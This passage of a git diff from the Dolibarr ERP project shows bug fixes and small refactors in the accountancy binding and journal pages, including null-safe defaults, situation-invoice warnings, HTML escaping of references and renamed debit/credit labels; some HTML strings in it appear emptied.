""; // The accounting account for product stored on thirdparty object (for level3 suggestion) $product_static->ref = $objp->product_ref; $product_static->id = $objp->product_id; $product_static->type = $objp->type; $product_static->label = $objp->product_label; - $product_static->status = $objp->status; - $product_static->status_buy = $objp->status_buy; + $product_static->status = !empty($objp->status) ? $objp->status : 0; + $product_static->status_buy = !empty($objp->status_buy) ? $objp->status_buy : 0; $product_static->accountancy_code_sell = $objp->code_sell; $product_static->accountancy_code_sell_intra = $objp->code_sell_intra; $product_static->accountancy_code_sell_export = $objp->code_sell_export; - $product_static->accountancy_code_buy = $objp->code_buy; - $product_static->accountancy_code_buy_intra = $objp->code_buy_intra; - $product_static->accountancy_code_buy_export = $objp->code_buy_export; + $product_static->accountancy_code_buy = !empty($objp->code_buy) ? $objp->code_buy : ""; + $product_static->accountancy_code_buy_intra = !empty($objp->code_buy_intra) ? $objp->code_buy_intra : ""; + $product_static->accountancy_code_buy_export = !empty($objp->code_buy_export) ? $objp->code_buy_export : ""; $product_static->tva_tx = $objp->tva_tx_prod; $facture_static->ref = $objp->ref; $facture_static->id = $objp->facid; $facture_static->type = $objp->ftype; - $facture_static->date = $objp->datef; + $facture_static->date = $db->jdate($objp->datef); + $facture_static->fk_facture_source = $objp->fk_facture_source; $facture_static_det->id = $objp->rowid; $facture_static_det->total_ht = $objp->total_ht; @@ -280,12 +267,14 @@ if ($action == 'validatehistory') { if (!$resqlupdate) { $error++; setEventMessages($db->lasterror(), null, 'errors'); + $nbbindfailed++; break; } else { $nbbinddone++; } } else { $notpossible++; + $nbbindfailed++; } $i++; @@ -299,7 +288,10 @@ if ($action == 'validatehistory') { $db->rollback(); } else { $db->commit(); - setEventMessages($langs->trans('AutomaticBindingDone', $nbbinddone, $notpossible), null, 'mesgs'); + setEventMessages($langs->trans('AutomaticBindingDone', $nbbinddone, $notpossible), null, ($notpossible ? 'warnings' : 'mesgs')); + if ($nbbindfailed) { + setEventMessages($langs->trans('DoManualBindingForFailedRecord', $nbbindfailed), null, 'warnings'); + } } } @@ -320,10 +312,14 @@ print ''.$langs->trans("DescVentilCustomer").''.$langs->trans("DescVentilMore", $langs->transnoentitiesnoconv("ValidateHistory"), $langs->transnoentitiesnoconv("ToBind")).'
      '; print '
      '; +if (getDolGlobalInt('INVOICE_USE_SITUATION') == 1) { + print info_admin($langs->trans("SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices")); + print "
      "; +} $y = $year_current; -$buttonbind = ''.$langs->trans("ValidateHistory").''; +$buttonbind = ''.img_picto($langs->trans("ValidateHistory"), 'link', 'class="pictofixedwidth fa-color-unset"').$langs->trans("ValidateHistory").''; print_barre_liste(img_picto('', 'unlink', 'class="paddingright fa-color-unset"').$langs->trans("OverviewOfAmountOfLinesNotBound"), '', '', '', '', '', '', -1, '', '', 0, $buttonbind, '', 0, 1, 1); //print load_fiche_titre($langs->trans("OverviewOfAmountOfLinesNotBound"), $buttonbind, ''); @@ -394,6 +390,11 @@ if ($resql) { $num = $db->num_rows($resql); while ($row = $db->fetch_row($resql)) { + // TODO When INVOICE_USE_SITUATION = 1, values here are wrong. There is no compensation on bad stored amounts + //$situation_ratio = 1; + //if (getDolGlobalInt('INVOICE_USE_SITUATION') == 1) { + //} + print ''; print ''; if ($row[0] == 'tobind') { @@ -404,7 +405,17 @@ if ($resql) { print ''; print ''; if ($row[0] == 'tobind') { - print $langs->trans("UseMenuToSetBindindManualy", DOL_URL_ROOT.'/accountancy/customer/list.php?search_year='.((int) $y), $langs->transnoentitiesnoconv("ToBind")); + $startmonth = ($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1); + if ($startmonth > 12) { + $startmonth -= 12; + } + $startyear = ($startmonth < ($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1)) ? $y + 1 : $y; + $endmonth = ($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1) + 11; + if ($endmonth > 12) { + $endmonth -= 12; + } + $endyear = ($endmonth < ($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1)) ? $y + 1 : $y; + print $langs->trans("UseMenuToSetBindindManualy", DOL_URL_ROOT.'/accountancy/customer/list.php?search_date_startday=1&search_date_startmonth='.((int) $startmonth).'&search_date_startyear='.((int) $startyear).'&search_date_endday=&search_date_endmonth='.((int) $endmonth).'&search_date_endyear='.((int) $endyear), $langs->transnoentitiesnoconv("ToBind")); } else { print $row[1]; } @@ -419,6 +430,12 @@ if ($resql) { print ''; print price($row[$i]); + // Add link to make binding + if (!empty(price2num($row[$i]))) { + print ''; + print img_picto($langs->trans("ValidateHistory").' ('.$langs->trans('Month'.str_pad($cursormonth, 2, '0', STR_PAD_LEFT)).' '.$cursoryear.')', 'link', 'class="marginleft2"'); + print ''; + } print ''; } print ''.price($row[14]).''; @@ -511,6 +528,11 @@ if ($resql) { $num = $db->num_rows($resql); while ($row = $db->fetch_row($resql)) { + // TODO When INVOICE_USE_SITUATION = 1, values here are wrong. There is no compensation on bad stored amounts + //$situation_ratio = 1; + //if (getDolGlobalInt('INVOICE_USE_SITUATION') == 1) { + //} + print ''; print ''; if ($row[0] == 'tobind') { @@ -557,7 +579,7 @@ print "\n"; print ''; -if ($conf->global->MAIN_FEATURES_LEVEL > 0) { // This part of code looks strange. Why showing a report that should rely on result of this step ? +if (getDolGlobalString('SHOW_TOTAL_OF_PREVIOUS_LISTS_IN_LIN_PAGE')) { // This part of code looks strange. Why showing a report that should rely on result of this step ? print '
      '; print '
      '; @@ -622,7 +644,6 @@ if ($conf->global->MAIN_FEATURES_LEVEL > 0) { // This part of code looks strange print "\n"; print ''; - if (isModEnabled('margin')) { print "
      \n"; print '
      '; @@ -636,22 +657,41 @@ if ($conf->global->MAIN_FEATURES_LEVEL > 0) { // This part of code looks strange print ''.$langs->trans('MonthShort'.str_pad($j, 2, '0', STR_PAD_LEFT)).''; } print ''.$langs->trans("Total").''; - $sql = "SELECT '".$db->escape($langs->trans("Vide"))."' AS marge,"; - for ($i = 1; $i <= 12; $i++) { - $j = $i + ($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1) - 1; - if ($j > 12) { - $j -= 12; - } - $sql .= " SUM(".$db->ifsql("MONTH(f.datef)=".$j, - " (".$db->ifsql("fd.total_ht < 0", - " (-1 * (abs(fd.total_ht) - (fd.buy_price_ht * fd.qty * (fd.situation_percent / 100))))", - " (fd.total_ht - (fd.buy_price_ht * fd.qty * (fd.situation_percent / 100)))").")", - 0).") AS month".str_pad($j, 2, '0', STR_PAD_LEFT).","; - } - $sql .= " SUM(".$db->ifsql("fd.total_ht < 0", - " (-1 * (abs(fd.total_ht) - (fd.buy_price_ht * fd.qty * (fd.situation_percent / 100))))", - " (fd.total_ht - (fd.buy_price_ht * fd.qty * (fd.situation_percent / 100)))").") as total"; + if (getDolGlobalInt('INVOICE_USE_SITUATION') == 1) { + // With old situation invoice setup + $sql = "SELECT '".$db->escape($langs->trans("Vide"))."' AS marge,"; + for ($i = 1; $i <= 12; $i++) { + $j = $i + ($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1) - 1; + if ($j > 12) { + $j -= 12; + } + $sql .= " SUM(".$db->ifsql("MONTH(f.datef)=".$j, + " (".$db->ifsql("fd.total_ht < 0", + " (-1 * (abs(fd.total_ht) - (fd.buy_price_ht * fd.qty * (fd.situation_percent / 100))))", // TODO This is bugged, we must use the percent for the invoice and fd.situation_percent is cumulated percent ! + " (fd.total_ht - (fd.buy_price_ht * fd.qty * (fd.situation_percent / 100)))").")", + 0).") AS month".str_pad($j, 2, '0', STR_PAD_LEFT).","; + } + $sql .= " SUM(".$db->ifsql("fd.total_ht < 0", + " (-1 * (abs(fd.total_ht) - (fd.buy_price_ht * fd.qty * (fd.situation_percent / 100))))", // TODO This is bugged, we must use the percent for the invoice and fd.situation_percent is cumulated percent ! + " (fd.total_ht - (fd.buy_price_ht * fd.qty * (fd.situation_percent / 100)))").") as total"; + } else { + $sql = "SELECT '".$db->escape($langs->trans("Vide"))."' AS marge,"; + for ($i = 1; $i <= 12; $i++) { + $j = $i + ($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1) - 1; + if ($j > 12) { + $j -= 12; + } + $sql .= " SUM(".$db->ifsql("MONTH(f.datef)=".$j, + " (".$db->ifsql("fd.total_ht < 0", + " (-1 * (abs(fd.total_ht) - (fd.buy_price_ht * fd.qty)))", + " (fd.total_ht - (fd.buy_price_ht * fd.qty))").")", + 0).") AS month".str_pad($j, 2, '0', STR_PAD_LEFT).","; + } + $sql .= " SUM(".$db->ifsql("fd.total_ht < 0", + " (-1 * (abs(fd.total_ht) - (fd.buy_price_ht * fd.qty)))", + " (fd.total_ht - (fd.buy_price_ht * fd.qty))").") as total"; + } $sql .= " FROM ".MAIN_DB_PREFIX."facturedet as fd"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."facture as f ON f.rowid = fd.fk_facture"; $sql .= " WHERE f.datef >= '".$db->idate($search_date_start)."'"; diff --git a/htdocs/accountancy/customer/lines.php b/htdocs/accountancy/customer/lines.php index 65d7ee0bbeb..888cc568cf8 100644 --- a/htdocs/accountancy/customer/lines.php +++ b/htdocs/accountancy/customer/lines.php @@ -189,8 +189,8 @@ print ''; } - print load_fiche_titre($langs->trans("AccountancyArea"), $resultboxes['selectboxlist'], 'accountancy', 0, '', '', $showtutorial); + if (!empty($conf->global->INVOICE_USE_SITUATION) && $conf->global->INVOICE_USE_SITUATION == 1) { + print info_admin($langs->trans("SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices")); + print "
      "; + } + print '
      '; // hideobject is to start hidden print "
      \n"; print ''.$langs->trans("AccountancyAreaDescIntro")."
      \n"; if ($user->hasRight('accounting', 'chartofaccount')) { - print "
      \n"; print "
      \n"; - + print '
      '; print load_fiche_titre(' '.$langs->trans("AccountancyAreaDescActionOnce"), '', '')."\n"; print '
      '; print "
      \n"; diff --git a/htdocs/accountancy/journal/bankjournal.php b/htdocs/accountancy/journal/bankjournal.php index 5c099922af4..0137e63406f 100644 --- a/htdocs/accountancy/journal/bankjournal.php +++ b/htdocs/accountancy/journal/bankjournal.php @@ -4,7 +4,7 @@ * Copyright (C) 2011 Juanjo Menent * Copyright (C) 2012 Regis Houssin * Copyright (C) 2013 Christophe Battarel - * Copyright (C) 2013-2021 Alexandre Spangaro + * Copyright (C) 2013-2022 Open-DSI * Copyright (C) 2013-2014 Florian Henry * Copyright (C) 2013-2014 Olivier Geffroy * Copyright (C) 2017-2021 Frédéric France @@ -349,7 +349,11 @@ if ($result) { $societestatic->email = $tabcompany[$obj->rowid]['email']; $tabpay[$obj->rowid]["soclib"] = $societestatic->getNomUrl(1, '', 30); if ($compta_soc) { - $tabtp[$obj->rowid][$compta_soc] += $amounttouse; + if (empty($tabtp[$obj->rowid][$compta_soc])) { + $tabtp[$obj->rowid][$compta_soc] = $amounttouse; + } else { + $tabtp[$obj->rowid][$compta_soc] += $amounttouse; + } } } elseif ($links[$key]['type'] == 'user') { $userstatic->id = $links[$key]['url_id']; @@ -430,7 +434,7 @@ if ($result) { $tabpay[$obj->rowid]["paymentsalid"] = $paymentsalstatic->id; // This part of code is no more required. it is here to solve case where a link were missing (ith v14.0.0) and keep writing in accountancy complete. - // Note: A better way to fix this is to delete payement of salary and recreate it, or to fix the bookkeeping table manually after. + // Note: A better way to fix this is to delete payment of salary and recreate it, or to fix the bookkeeping table manually after. if (!empty($conf->global->ACCOUNTANCY_AUTOFIX_MISSING_LINK_TO_USEr_ON_SALARY_BANK_PAYMENT)) { $tmpsalary = new Salary($db); $tmpsalary->fetch($paymentsalstatic->id); @@ -510,7 +514,11 @@ if ($result) { } } - $tabbq[$obj->rowid][$compta_bank] += $amounttouse; + if (empty($tabbq[$obj->rowid][$compta_bank])) { + $tabbq[$obj->rowid][$compta_bank] = $amounttouse; + } else { + $tabbq[$obj->rowid][$compta_bank] += $amounttouse; + } // If no links were found to know the amount on thirdparty, we try to guess it. // This may happens on bank entries without the links lines to 'company'. @@ -793,10 +801,16 @@ if (!$error && $action == 'writebookkeeping') { setEventMessages($bookkeeping->error, $bookkeeping->errors, 'errors'); } } else { - if ($lettering && getDolGlobalInt('ACCOUNTING_ENABLE_LETTERING')) { + if ($lettering && getDolGlobalInt('ACCOUNTING_ENABLE_LETTERING') && getDolGlobalInt('ACCOUNTING_ENABLE_AUTOLETTERING')) { require_once DOL_DOCUMENT_ROOT . '/accountancy/class/lettering.class.php'; $lettering_static = new Lettering($db); $nb_lettering = $lettering_static->bookkeepingLetteringAll(array($bookkeeping->id)); + + if ($nb_lettering < 0) { + $error++; + $errorforline++; + setEventMessages($lettering_static->error, $lettering_static->errors, 'errors'); + } } } } @@ -912,8 +926,8 @@ if ($action == 'exportcsv') { // ISO and not UTF8 ! print '"'.$langs->transnoentitiesnoconv("LedgerAccount").'"'.$sep; print '"'.$langs->transnoentitiesnoconv("SubledgerAccount").'"'.$sep; print '"'.$langs->transnoentitiesnoconv("Label").'"'.$sep; - print '"'.$langs->transnoentitiesnoconv("Debit").'"'.$sep; - print '"'.$langs->transnoentitiesnoconv("Credit").'"'.$sep; + print '"'.$langs->transnoentitiesnoconv("AccountingDebit").'"'.$sep; + print '"'.$langs->transnoentitiesnoconv("AccountingCredit").'"'.$sep; print '"'.$langs->transnoentitiesnoconv("Journal").'"'.$sep; print '"'.$langs->transnoentitiesnoconv("Note").'"'.$sep; print "\n"; @@ -1034,7 +1048,7 @@ if (empty($action) || $action == 'view') { $title = $langs->trans("GenerationOfAccountingEntries").' - '.$accountingjournalstatic->getNomUrl(0, 2, 1, '', 1); - llxHeader('', $title); + llxHeader('', dol_string_nohtmltag($title)); $nom = $title; $builddate = dol_now(); @@ -1136,8 +1150,8 @@ if (empty($action) || $action == 'view') { print "".$langs->trans("SubledgerAccount").""; print "".$langs->trans("LabelOperation").""; print ''.$langs->trans("PaymentMode").""; - print ''.$langs->trans("Debit").""; - print ''.$langs->trans("Credit").""; + print ''.$langs->trans("AccountingDebit").""; + print ''.$langs->trans("AccountingCredit").""; print "\n"; $r = ''; @@ -1162,19 +1176,24 @@ if (empty($action) || $action == 'view') { //var_dump($tabpay[$key]); print ''; print ''; + + // Date print "".$date.""; - print "".$ref.""; + + // Ref + print "".dol_escape_htmltag($ref).""; + // Ledger account - print ""; $accounttoshow = length_accountg($k); if (empty($accounttoshow) || $accounttoshow == 'NotDefined') { - print ''.$langs->trans("BankAccountNotDefined").''; - } else { - print $accounttoshow; + $accounttoshow = ''.$langs->trans("BankAccountNotDefined").''; } + print ''; + print $accounttoshow; print ""; + // Subledger account - print ""; + print ''; /*$accounttoshow = length_accountg($k); if (empty($accounttoshow) || $accounttoshow == 'NotDefined') { @@ -1182,9 +1201,12 @@ if (empty($action) || $action == 'view') { } else print $accounttoshow;*/ print ""; - print ""; - print $reflabel; + + // Label operation + print ''; + print $reflabel; // This is already html escaped content print ""; + print ''.$val["type_payment"].""; print ''.($mt >= 0 ? price($mt) : '').""; print ''.($mt < 0 ? price(-$mt) : '').""; @@ -1208,29 +1230,33 @@ if (empty($action) || $action == 'view') { print ''; print ''; + + // Date print "".$date.""; - print "".$ref.""; + + // Ref + print "".dol_escape_htmltag($ref).""; + // Ledger account - print ""; $account_ledger = $k; // Try to force general ledger account depending on type if ($tabtype[$key] == 'payment') { - $account_ledger = $conf->global->ACCOUNTING_ACCOUNT_CUSTOMER; + $account_ledger = getDolGlobalString('ACCOUNTING_ACCOUNT_CUSTOMER'); } if ($tabtype[$key] == 'payment_supplier') { - $account_ledger = $conf->global->ACCOUNTING_ACCOUNT_SUPPLIER; + $account_ledger = getDolGlobalString('ACCOUNTING_ACCOUNT_SUPPLIER'); } if ($tabtype[$key] == 'payment_expensereport') { - $account_ledger = $conf->global->SALARIES_ACCOUNTING_ACCOUNT_PAYMENT; + $account_ledger = getDolGlobalString('SALARIES_ACCOUNTING_ACCOUNT_PAYMENT'); } if ($tabtype[$key] == 'payment_salary') { - $account_ledger = $conf->global->SALARIES_ACCOUNTING_ACCOUNT_PAYMENT; + $account_ledger = getDolGlobalString('SALARIES_ACCOUNTING_ACCOUNT_PAYMENT'); } if ($tabtype[$key] == 'payment_vat') { - $account_ledger = $conf->global->ACCOUNTING_VAT_PAY_ACCOUNT; + $account_ledger = getDolGlobalString('ACCOUNTING_VAT_PAY_ACCOUNT'); } if ($tabtype[$key] == 'member') { - $account_ledger = $conf->global->ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT; + $account_ledger = getDolGlobalString('ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT'); } if ($tabtype[$key] == 'payment_various') { $account_ledger = $tabpay[$key]["account_various"]; @@ -1240,9 +1266,9 @@ if (empty($action) || $action == 'view') { if ($tabtype[$key] == 'unknown') { // We will accept writing, but into a waiting account if (empty($conf->global->ACCOUNTING_ACCOUNT_SUSPENSE) || $conf->global->ACCOUNTING_ACCOUNT_SUSPENSE == '-1') { - print ''.$langs->trans('UnknownAccountForThirdpartyAndWaitingAccountNotDefinedBlocking').''; + $accounttoshow = ''.$langs->trans('UnknownAccountForThirdpartyAndWaitingAccountNotDefinedBlocking').''; } else { - print ''.$langs->trans('UnknownAccountForThirdparty', length_accountg($conf->global->ACCOUNTING_ACCOUNT_SUSPENSE)).''; // We will use a waiting account + $accounttoshow = ''.$langs->trans('UnknownAccountForThirdparty', length_accountg($conf->global->ACCOUNTING_ACCOUNT_SUSPENSE)).''; // We will use a waiting account } } else { // We will refuse writing @@ -1265,15 +1291,15 @@ if (empty($action) || $action == 'view') { if ($tabtype[$key] == 'member') { $errorstring = 'MainAccountForSubscriptionPaymentNotDefined'; } - print ''.$langs->trans($errorstring).''; + $accounttoshow = ''.$langs->trans($errorstring).''; } - } else { - print $accounttoshow; } + print ''; + print $accounttoshow; // This is a HTML string print ""; // Subledger account - print ""; + $accounttoshowsubledger = ''; if (in_array($tabtype[$key], array('payment', 'payment_supplier', 'payment_expensereport', 'payment_salary', 'payment_various'))) { // Type of payments that uses a subledger $accounttoshowsubledger = length_accounta($k); if ($accounttoshow != $accounttoshowsubledger) { @@ -1285,18 +1311,20 @@ if (empty($action) || $action == 'view') { if (!empty($tabcompany[$key]['code_compta'])) { if (in_array($tabtype[$key], array('payment_various', 'payment_salary'))) { // For such case, if subledger is not defined, we won't use subledger accounts. - print ''.$langs->trans("ThirdpartyAccountNotDefinedOrThirdPartyUnknownSubledgerIgnored").''; + $accounttoshowsubledger = ''.$langs->trans("ThirdpartyAccountNotDefinedOrThirdPartyUnknownSubledgerIgnored").''; } else { - print ''.$langs->trans("ThirdpartyAccountNotDefinedOrThirdPartyUnknown", $tabcompany[$key]['code_compta']).''; + $accounttoshowsubledger = ''.$langs->trans("ThirdpartyAccountNotDefinedOrThirdPartyUnknown", $tabcompany[$key]['code_compta']).''; } } else { - print ''.$langs->trans("ThirdpartyAccountNotDefinedOrThirdPartyUnknownBlocking").''; + $accounttoshowsubledger = ''.$langs->trans("ThirdpartyAccountNotDefinedOrThirdPartyUnknownBlocking").''; } - } else { - print $accounttoshowsubledger; } + } else { + $accounttoshowsubledger = ''; } } + print ''; + print $accounttoshowsubledger; // This is a html string print ""; print "".$reflabel.""; @@ -1401,9 +1429,19 @@ function getSourceDocRef($val, $typerecord) $sqlmid = ''; if ($typerecord == 'payment') { - $sqlmid = 'SELECT payfac.fk_facture as id, f.ref as ref'; - $sqlmid .= " FROM ".MAIN_DB_PREFIX."paiement_facture as payfac, ".MAIN_DB_PREFIX."facture as f"; - $sqlmid .= " WHERE payfac.fk_facture = f.rowid AND payfac.fk_paiement=".((int) $val["paymentid"]); + if (getDolGlobalInt('FACTURE_DEPOSITS_ARE_JUST_PAYMENTS')) { + $sqlmid = "SELECT payfac.fk_facture as id, ".$db->ifsql('f1.rowid IS NULL', 'f.ref', 'f1.ref')." as ref"; + $sqlmid .= " FROM ".$db->prefix()."paiement_facture as payfac"; + $sqlmid .= " LEFT JOIN ".$db->prefix()."facture as f ON f.rowid = payfac.fk_facture"; + $sqlmid .= " LEFT JOIN ".$db->prefix()."societe_remise_except as sre ON sre.fk_facture_source = payfac.fk_facture"; + $sqlmid .= " LEFT JOIN ".$db->prefix()."facture as f1 ON f1.rowid = sre.fk_facture"; + $sqlmid .= " WHERE payfac.fk_paiement=".((int) $val['paymentid']); + } else { + $sqlmid = "SELECT payfac.fk_facture as id, f.ref as ref"; + $sqlmid .= " FROM ".$db->prefix()."paiement_facture as payfac"; + $sqlmid .= " INNER JOIN ".$db->prefix()."facture as f ON f.rowid = payfac.fk_facture"; + $sqlmid .= " WHERE payfac.fk_paiement=".((int) $val['paymentid']); + } $ref = $langs->transnoentitiesnoconv("Invoice"); } elseif ($typerecord == 'payment_supplier') { $sqlmid = 'SELECT payfac.fk_facturefourn as id, f.ref'; diff --git a/htdocs/accountancy/journal/expensereportsjournal.php b/htdocs/accountancy/journal/expensereportsjournal.php index 7db2df72979..ffffc21a9f9 100644 --- a/htdocs/accountancy/journal/expensereportsjournal.php +++ b/htdocs/accountancy/journal/expensereportsjournal.php @@ -445,8 +445,8 @@ if ($action == 'exportcsv') { // ISO and not UTF8 ! print '"'.$langs->transnoentitiesnoconv("Piece").'"'.$sep; print '"'.$langs->transnoentitiesnoconv("AccountAccounting").'"'.$sep; print '"'.$langs->transnoentitiesnoconv("LabelOperation").'"'.$sep; - print '"'.$langs->transnoentitiesnoconv("Debit").'"'.$sep; - print '"'.$langs->transnoentitiesnoconv("Credit").'"'.$sep; + print '"'.$langs->transnoentitiesnoconv("AccountingDebit").'"'.$sep; + print '"'.$langs->transnoentitiesnoconv("AccountingCredit").'"'.$sep; print "\n"; foreach ($taber as $key => $val) { @@ -498,7 +498,7 @@ if ($action == 'exportcsv') { // ISO and not UTF8 ! if (empty($action) || $action == 'view') { $title = $langs->trans("GenerationOfAccountingEntries").' - '.$accountingjournalstatic->getNomUrl(0, 2, 1, '', 1); - llxHeader('', $title); + llxHeader('', dol_string_nohtmltag($title)); $nom = $title; $nomlink = ''; @@ -569,8 +569,8 @@ if (empty($action) || $action == 'view') { print "".$langs->trans("AccountAccounting").""; print "".$langs->trans("SubledgerAccount").""; print "".$langs->trans("LabelOperation").""; - print ''.$langs->trans("Debit").""; - print ''.$langs->trans("Credit").""; + print ''.$langs->trans("AccountingDebit").""; + print ''.$langs->trans("AccountingCredit").""; print "\n"; $r = ''; diff --git a/htdocs/accountancy/journal/purchasesjournal.php b/htdocs/accountancy/journal/purchasesjournal.php index c3592b8c9de..12303089dca 100644 --- a/htdocs/accountancy/journal/purchasesjournal.php +++ b/htdocs/accountancy/journal/purchasesjournal.php @@ -104,7 +104,7 @@ if (!GETPOSTISSET('date_startmonth') && (empty($date_start) || empty($date_end)) } $sql = "SELECT f.rowid, f.ref as ref, f.type, f.datef as df, f.libelle,f.ref_supplier, f.date_lim_reglement as dlr, f.close_code,"; -$sql .= " fd.rowid as fdid, fd.description, fd.product_type, fd.total_ht, fd.tva as total_tva, fd.total_localtax1, fd.total_localtax2, fd.tva_tx, fd.total_ttc, fd.vat_src_code,"; +$sql .= " fd.rowid as fdid, fd.description, fd.product_type, fd.total_ht, fd.tva as total_tva, fd.total_localtax1, fd.total_localtax2, fd.tva_tx, fd.total_ttc, fd.vat_src_code, fd.info_bits,"; $sql .= " s.rowid as socid, s.nom as name, s.fournisseur, s.code_client, s.code_fournisseur,"; if (!empty($conf->global->MAIN_COMPANY_PERENTITY_SHARED)) { $sql .= " spe.accountancy_code_customer as code_compta,"; @@ -200,8 +200,8 @@ if ($result) { $def_tva[$obj->rowid][$compta_tva][vatrate($obj->tva_tx).($obj->vat_src_code ? ' ('.$obj->vat_src_code.')' : '')] = (vatrate($obj->tva_tx).($obj->vat_src_code ? ' ('.$obj->vat_src_code.')' : '')); } - $line = new SupplierInvoiceLine($db); - $line->fetch($obj->fdid); + //$line = new SupplierInvoiceLine($db); + //$line->fetch($obj->fdid); $tabfac[$obj->rowid]["date"] = $db->jdate($obj->df); $tabfac[$obj->rowid]["datereg"] = $db->jdate($obj->dlr); @@ -233,7 +233,8 @@ if ($result) { $tabttc[$obj->rowid][$compta_soc] += $obj->total_ttc; $tabht[$obj->rowid][$compta_prod] += $obj->total_ht; $tabtva[$obj->rowid][$compta_tva] += $obj->total_tva; - if (!empty($line->tva_npr)) { // Add an entry for counterpart + $tva_npr = (($obj->info_bits & 1 == 1) ? 1 : 0); + if ($tva_npr) { // If NPR, we add an entry for counterpartWe into tabother $tabother[$obj->rowid][$compta_counterpart_tva_npr] += $obj->total_tva; } $tablocaltax1[$obj->rowid][$compta_localtax1] += $obj->total_localtax1; @@ -376,10 +377,16 @@ if ($action == 'writebookkeeping') { setEventMessages($bookkeeping->error, $bookkeeping->errors, 'errors'); } } else { - if (getDolGlobalInt('ACCOUNTING_ENABLE_LETTERING')) { + if (getDolGlobalInt('ACCOUNTING_ENABLE_LETTERING') && getDolGlobalInt('ACCOUNTING_ENABLE_AUTOLETTERING')) { require_once DOL_DOCUMENT_ROOT . '/accountancy/class/lettering.class.php'; $lettering_static = new Lettering($db); $nb_lettering = $lettering_static->bookkeepingLettering(array($bookkeeping->id)); + + if ($nb_lettering < 0) { + $error++; + $errorforline++; + setEventMessages($lettering_static->error, $lettering_static->errors, 'errors'); + } } } } @@ -758,7 +765,7 @@ if ($action == 'exportcsv') { // ISO and not UTF8 ! if (empty($action) || $action == 'view') { $title = $langs->trans("GenerationOfAccountingEntries").' - '.$accountingjournalstatic->getNomUrl(0, 2, 1, '', 1); - llxHeader('', $title); + llxHeader('', dol_string_nohtmltag($title)); $nom = $title; $nomlink = ''; @@ -824,7 +831,6 @@ if (empty($action) || $action == 'view') { */ print '
      '; - $i = 0; print '
      '; print ""; print ""; @@ -833,11 +839,11 @@ if (empty($action) || $action == 'view') { print ""; print ""; print ""; - print '"; - print '"; + print '"; + print '"; print "\n"; - $r = ''; + $i = 0; $invoicestatic = new FactureFournisseur($db); $companystatic = new Fournisseur($db); @@ -887,6 +893,7 @@ if (empty($action) || $action == 'view') { print ''; print ""; + $i++; continue; } if ($errorforinvoice[$key] == 'somelinesarenotbound') { @@ -906,6 +913,8 @@ if (empty($action) || $action == 'view') { print ''; print ''; print ""; + + $i++; } // Third party @@ -936,6 +945,8 @@ if (empty($action) || $action == 'view') { print '"; print '"; print ""; + + $i++; } // Product / Service @@ -972,6 +983,8 @@ if (empty($action) || $action == 'view') { print '"; print '"; print ""; + + $i++; } // VAT @@ -1009,6 +1022,8 @@ if (empty($action) || $action == 'view') { print '"; print '"; print ""; + + $i++; } } } @@ -1037,11 +1052,17 @@ if (empty($action) || $action == 'view') { print '"; print '"; print ""; + + $i++; } } } } + if (!$i) { + print ''; + } + print "
      ".$langs->trans("AccountAccounting")."".$langs->trans("SubledgerAccount")."".$langs->trans("LabelOperation")."'.$langs->trans("Debit")."'.$langs->trans("Credit")."'.$langs->trans("AccountingDebit")."'.$langs->trans("AccountingCredit")."
      '.($mt < 0 ? price(-$mt) : '')."'.($mt >= 0 ? price($mt) : '')."
      '.($mt >= 0 ? price($mt) : '')."'.($mt < 0 ? price(-$mt) : '')."
      '.($mt >= 0 ? price($mt) : '')."'.($mt < 0 ? price(-$mt) : '')."
      '.($mt < 0 ? price(-$mt) : '')."'.($mt >= 0 ? price($mt) : '')."
      '.$langs->trans("NoRecordFound").'
      "; print '
      '; diff --git a/htdocs/accountancy/journal/sellsjournal.php b/htdocs/accountancy/journal/sellsjournal.php index 7ae8b3ca1c0..96555b960c0 100644 --- a/htdocs/accountancy/journal/sellsjournal.php +++ b/htdocs/accountancy/journal/sellsjournal.php @@ -4,7 +4,7 @@ * Copyright (C) 2011 Juanjo Menent * Copyright (C) 2012 Regis Houssin * Copyright (C) 2013 Christophe Battarel - * Copyright (C) 2013-2021 Alexandre Spangaro + * Copyright (C) 2013-2022 Alexandre Spangaro * Copyright (C) 2013-2016 Florian Henry * Copyright (C) 2013-2016 Olivier Geffroy * Copyright (C) 2014 Raphaël Doursenaud @@ -106,8 +106,8 @@ if (!GETPOSTISSET('date_startmonth') && (empty($date_start) || empty($date_end)) $date_end = dol_get_last_day($pastmonthyear, $pastmonth, false); } -$sql = "SELECT f.rowid, f.ref, f.type, f.datef as df, f.ref_client, f.date_lim_reglement as dlr, f.close_code,"; -$sql .= " fd.rowid as fdid, fd.description, fd.product_type, fd.total_ht, fd.total_tva, fd.total_localtax1, fd.total_localtax2, fd.tva_tx, fd.total_ttc, fd.situation_percent, fd.vat_src_code,"; +$sql = "SELECT f.rowid, f.ref, f.type, f.situation_cycle_ref, f.datef as df, f.ref_client, f.date_lim_reglement as dlr, f.close_code, f.retained_warranty,"; +$sql .= " fd.rowid as fdid, fd.description, fd.product_type, fd.total_ht, fd.total_tva, fd.total_localtax1, fd.total_localtax2, fd.tva_tx, fd.total_ttc, fd.situation_percent, fd.vat_src_code, fd.info_bits,"; $sql .= " s.rowid as socid, s.nom as name, s.code_client, s.code_fournisseur,"; if (!empty($conf->global->MAIN_COMPANY_PERENTITY_SHARED)) { $sql .= " spe.accountancy_code_customer as code_compta,"; @@ -158,7 +158,7 @@ if ($in_bookkeeping == 'notyet') { $sql .= " AND f.rowid NOT IN (SELECT fk_doc FROM ".MAIN_DB_PREFIX."accounting_bookkeeping as ab WHERE ab.doc_type='customer_invoice')"; // $sql .= " AND fd.rowid NOT IN (SELECT fk_docdet FROM " 